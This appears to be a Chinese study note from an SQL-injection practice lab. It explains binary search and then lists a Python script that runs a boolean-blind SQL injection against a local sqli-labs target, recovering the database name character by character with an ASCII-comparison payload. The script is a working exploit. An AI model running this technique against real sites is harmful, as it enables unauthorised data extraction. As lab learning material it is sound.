关于二分法的知识:

    • 首先,从数组的中间元素开始搜索,如果该元素正好是目标元素,则搜索过程结束,否则执行下一步
    • 如果目标元素大于/小于中间元素,则在数组大于/小于中间元素的那一半区域查找,然后重复步骤(1)的操作
    • 如果某一步数组为空,则表示找不到目标元素
    1. import requests
    2. def database_name():
    3. url="http://127.0.0.1/sql/Less-8/?id=1"
    4. payload="' and ascii(substr(database(),%d,1))>%d--+" #注释不要忘加
    5. db_name='' #这里存储结果的值必须是全局的!!!,因为放在for循环中会被每次循环刷新掉
    6. for i in range(1,9):
    7. min = 65
    8. max = 122
    9. while abs(max-min)>1: #这里不能使用死循环,要有一定条件
    10. mid = int((max+min)/2) #int要把整个式子包括,是加起来!!!
    11. p = payload % (i,mid)
    12. response = requests.get(url+p)
    13. if response.text.find("You are in")!=-1: #find找不到返回-1
    14. min = mid
    15. else:
    16. max=mid
    17. db_name+=chr(max)
    18. print('database_name:',db_name)
    19. database_name()

    结果:
    image.png